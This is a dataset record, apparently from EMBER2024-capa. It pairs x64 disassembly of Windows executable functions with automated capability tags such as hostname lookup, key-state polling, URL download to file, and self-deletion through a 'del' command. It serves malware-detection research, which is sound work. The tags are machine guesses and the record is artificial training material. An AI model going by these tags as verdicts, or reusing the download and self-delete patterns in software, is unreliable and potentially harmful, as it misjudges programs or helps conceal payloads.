joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000bce0
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
mov dword [rsp + 0x20], 0x100
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rax
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000bd32
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400ac250
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400ad3e0
add rsp, 0x140
pop rbx
ret

Function at 0x14000bd70
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push rbx
sub rsp, 0x2d0
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov rbx, rcx
mov ecx, 2
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 0x100
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
xor ecx, ecx
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], rcx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], cl
jne 0x14000bde5
mov rdx, rax
mov rcx, rbx
call fcn.1400ac250
mov rax, rbx
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.1400ad3e0
add rsp, 0x2d0
pop rbx
ret

Function at 0x14000be20
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x308
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, [rsp + 0xe0]
mov dword [rsp + 0xd4], eax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x14000bf00
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
mov ecx, 0x53
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000bf31
xor r9d, r9d
xor edx, edx
mov cl, 0x53
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov eax, 1
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret
Function at 0x14000bf40
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
test ecx, ecx
je 0x14000bf59
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx eax, ax
shr eax, 0xf
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000d0f0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rbx, rdx
mov rdx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x14000d11d
mov r8, qword [rcx]
add r8, qword [rcx + 0x10]
mov rdx, qword [rcx]
jmp 0x14000d124
mov r8, qword [rcx + 0x10]
add r8, rcx
lea rcx, [rsp + 0x50]
call fcn.140040f90
mov rdi, rax
cmp qword [rax + 0x18], 8
jb 0x14000d13b
mov rdi, qword [rax]
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14000d14e
add r8, qword [rbx]
mov rdx, qword [rbx]
jmp 0x14000d154
add r8, rbx
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140040f90
cmp qword [rax + 0x18], 8
jb 0x14000d168
mov rax, qword [rax]
xor ebp, ebp
mov qword [rsp + 0x20], rbp
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov esi, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000d1c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d1bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d20c
call fcn.1400ad400
movdqa xmm0, xmmword [0x1400b3130]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], bp
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14000d218
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d213
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d213
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ad400
mov edi, ebp
test esi, esi
sete dil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000d256
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000d251
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000d27d
mov rcx, r8
call fcn.1400ad400
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 0xf
mov byte [rbx], bpl
mov eax, edi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000d4c0
Capabilities:
Execute command
Self delete

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 4
lea rdx, str.del
lea rcx, [rsp + 0x40]
call fcn.1400ac250
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140040050
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000d583
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d57e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d5ca
call fcn.1400ad400
movdqa xmm0, xmmword [0x1400b3140]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000d5d7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d5d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ad400
nop
add rsp, 0x60
pop rbx
ret

Function at 0x14000df10
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, edx
mov ebx, r8d
mov esi, edx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
and edi, 0x8000
test ebx, ebx
je 0x14000dfe1
test edi, edi
je 0x14000dfe1
xor edx, edx
cmp esi, 1
jne 0x14000df72
xor r9d, r9d
mov qword [rsp + 0x20], rdx
xor r8d, r8d
lea ecx, [rdx + 4]
call qword [sym.imp.USER32.dll_mouse_event]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp esi, 2
jne 0x14000dfa1
xor r9d, r9d
mov qword [rsp + 0x20], 0
xor r8d, r8d
lea ecx, [rsi + 0xe]
call qword [sym.imp.USER32.dll_mouse_event]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp esi, 4
jne 0x14000dfd0
xor r9d, r9d
mov qword [rsp + 0x20], 0
xor r8d, r8d
lea ecx, [rsi + 0x3c]
call qword [sym.imp.USER32.dll_mouse_event]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
xor r9d, r9d
movzx ecx, sil
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14000e400
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov ebx, dword [0x1400bad40]
cmp dword [0x1400bb038], 0
jne 0x14000e484
cmp dword [0x1400bb03c], 0
jne 0x14000e484
movups xmm0, xmmword [0x1400bb004]
movaps xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x60], xmm1
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov r8d, 0x26
lea rdx, str.You_are_a_unique_star_in_the_universe.
lea rcx, [rsp + 0x60]
call fcn.1400ac250
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
call fcn.14000db10
xor edi, edi
test ebx, ebx
je 0x14000e4c2
mov rcx, qword [0x1400bb030]
mov dword [rsp + 0x40], 0x5a0049
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rcx
mov eax, dword [0x1400bb02c]
mov dword [rsp + 0x20], eax
mov r9d, dword [0x1400bb028]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov rax, qword [0x1400bb030]
mov qword [rsp + 0x28], rax
mov eax, dword [0x1400bb02c]
mov dword [rsp + 0x20], eax
mov r9d, dword [0x1400bb028]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1400bb020]
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 0x26
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000e524
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x26
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0x28
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000e547
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x28
call qword [sym.imp.USER32.dll_keybd_event]
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000e598
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_DispatchMessageW]
lea rcx, [0x1400bb038]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rdx, [0x1400bb040]
mov rcx, qword [0x1400bb018]
call qword [sym.imp.USER32.dll_GetWindowRect]
inc dword [0x1400bacf8]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
mov eax, 4
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov ecx, dword [rax + rdx]
cmp dword [0x1400bbb54], ecx
jle 0x14000e60b
lea rcx, [0x1400bbb54]
call fcn.1400ad560
cmp dword [0x1400bbb54], 0xffffffff
jne 0x14000e60b
mov dword [0x1400bbc88], ebx
lea rcx, [0x1400bbb54]
call fcn.1400ad500
mov eax, dword [0x1400bbc88]
add eax, 0x3e8
cmp ebx, eax
jl 0x14000e632
mov dword [0x1400bbc88], ebx
mov eax, dword [0x1400bacf8]
mov dword [0x1400bb050], eax
mov dword [0x1400bacf8], edi
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400ad3e0
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rdi
ret
Function at 0x14000e7d0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x78
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000e822
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_DispatchMessageW]
lea rcx, [0x1400bb038]
mov qword [rsp + 0x70], rbx
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, qword [0x1400bb018]
lea rdx, [0x1400bb040]
call qword [sym.imp.USER32.dll_GetWindowRect]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [0x1400bb018]
jne 0x14000e9f8
cmp dword [0x1400bb054], 0
jne 0x14000e8c3
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000e8c3
cmp dword [0x1400bbb6c], 0
jne 0x14000e8d0
cmp dword [0x1400bbbe4], 0
je 0x14000e8b4
mov eax, dword [0x1400bb03c]
sub eax, dword [0x1400bb044]
mov ecx, dword [0x1400bb038]
sub ecx, dword [0x1400bb040]
mov dword [0x1400bb2a4], eax
xor eax, eax
mov dword [0x1400bbbe4], eax
mov dword [0x1400bb2a0], ecx
mov dword [0x1400bbb6c], 1
jmp 0x14000ea03
cmp dword [0x1400bbb6c], 0
je 0x14000e9a5
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000e9a5
mov eax, dword [0x1400bb04c]
mov r9d, dword [0x1400bb048]
mov r8d, dword [0x1400bb03c]
mov edx, dword [0x1400bb038]
sub eax, dword [0x1400bb044]
sub r9d, dword [0x1400bb040]
sub r8d, dword [0x1400bb2a4]
sub edx, dword [0x1400bb2a0]
mov rcx, qword [0x1400bb018]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], eax
mov dword [0x1400bb054], 1
call qword [sym.imp.USER32.dll_MoveWindow]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, qword gs:[0x58]
mov rbx, rax
mov eax, 4
mov rdx, qword [rcx]
mov ecx, dword [rax + rdx]
cmp dword [0x1400bbbe8], ecx
jle 0x14000e989
lea rcx, [0x1400bbbe8]
call fcn.1400ad560
cmp dword [0x1400bbbe8], 0xffffffff
jne 0x14000e989
lea rcx, [0x1400bbbe8]
mov dword [0x1400bbbd0], ebx
call fcn.1400ad500
mov eax, ebx
sub eax, dword [0x1400bbbd0]
cmp eax, 0x64
jl 0x14000e99e
mov dword [0x1400bbbd0], ebx
jmp 0x14000ea03
mov eax, 1
jmp 0x14000ea05
xor eax, eax
mov dword [0x1400bbbe4], 1
cmp dword [0x1400bb058], eax
mov dword [0x1400bbb6c], eax
mov dword [0x1400bb054], eax
jne 0x14000e9e3
lea ecx, [rax + 1]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000e9dc
mov ecx, 1
jmp 0x14000e9fd
mov ecx, 3
jmp 0x14000e9fd
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0x50
call fcn.140041440
jmp 0x14000ea03
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400ad3e0
add rsp, 0x78
ret
Function at 0x14003eef0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14003ef18
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14003ef3e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14003ef40
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14003ef99
test ecx, ecx
jle 0x14003ef79
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14003ef99
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14003ef99
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14003efc0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14003efe2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14003eff8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14003f014
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14003f016
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14003f052
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14003f0ee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14003f08d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14003f0ce
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14003f0ee
cmp rbx, rax
ja 0x14003f0a0
test rbx, rbx
je 0x14003f0ee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14003f510
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14003f53d
xor eax, eax
jmp 0x14003f6a9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14003f577
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14003f577
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14003f6a9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14003f69c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14003f5ba
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14003f5e5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f6a1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14003f654
sub eax, 1
je 0x14003f654
cmp eax, 2
jne 0x14003f69c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f6a1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14003f682
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14003f69c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f6a1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400ad3e0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400406d0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400407a3
cmp byte [rcx + 0x71], 0
je 0x1400407a3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14004079f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140040764
sub eax, 1
je 0x140040768
cmp eax, 2
jne 0x14004079f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ad3e0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140040796
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14004079f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14004074c
xor al, al
jmp 0x14004074c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ad3e0
add rsp, 0x60
pop rbx
ret
Function at 0x1400adf5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400adfa6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400adfa6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400adfa6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400adfa6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400adfa6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400adfa8
xor al, al
add rsp, 0x28
ret
Function at 0x180027ba0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x468
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3c8], rcx
mov qword [rbp + 0x3d0], 0
mov qword [rbp + 0x3d8], 2
mov qword [rbp + 0x3e0], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c0], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x180027c30
jmp 0x180027c1f
jae 0x180027ceb
cmp r8, 0x201
jae 0x180027c30
mov r14d, 0x200
lea r15, [rbp - 0x60]
mov r12, r8
jmp 0x180027c87
sub r8, rbx
sub rdi, rbx
cmp r8, rdi
jbe 0x180027c5f
lea rcx, [rbp + 0x3d0]
mov rdx, rbx
call fcn.180015670
mov rsi, qword [rbp + 0x3d0]
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x3c0], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e0], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c0]
mov r12, rbx
xor ecx, ecx
call sub.KERNEL32.DLL_SetLastError
mov ecx, r12d
mov rdx, r15
call sub.KERNEL32.DLL_GetCurrentDirectoryW
mov r13d, eax
test eax, eax
jne 0x180027cad
call sub.KERNEL32.DLL_GetLastError
test eax, eax
jne 0x180027d57
mov r8d, r13d
cmp r12, r8
jne 0x180027c10
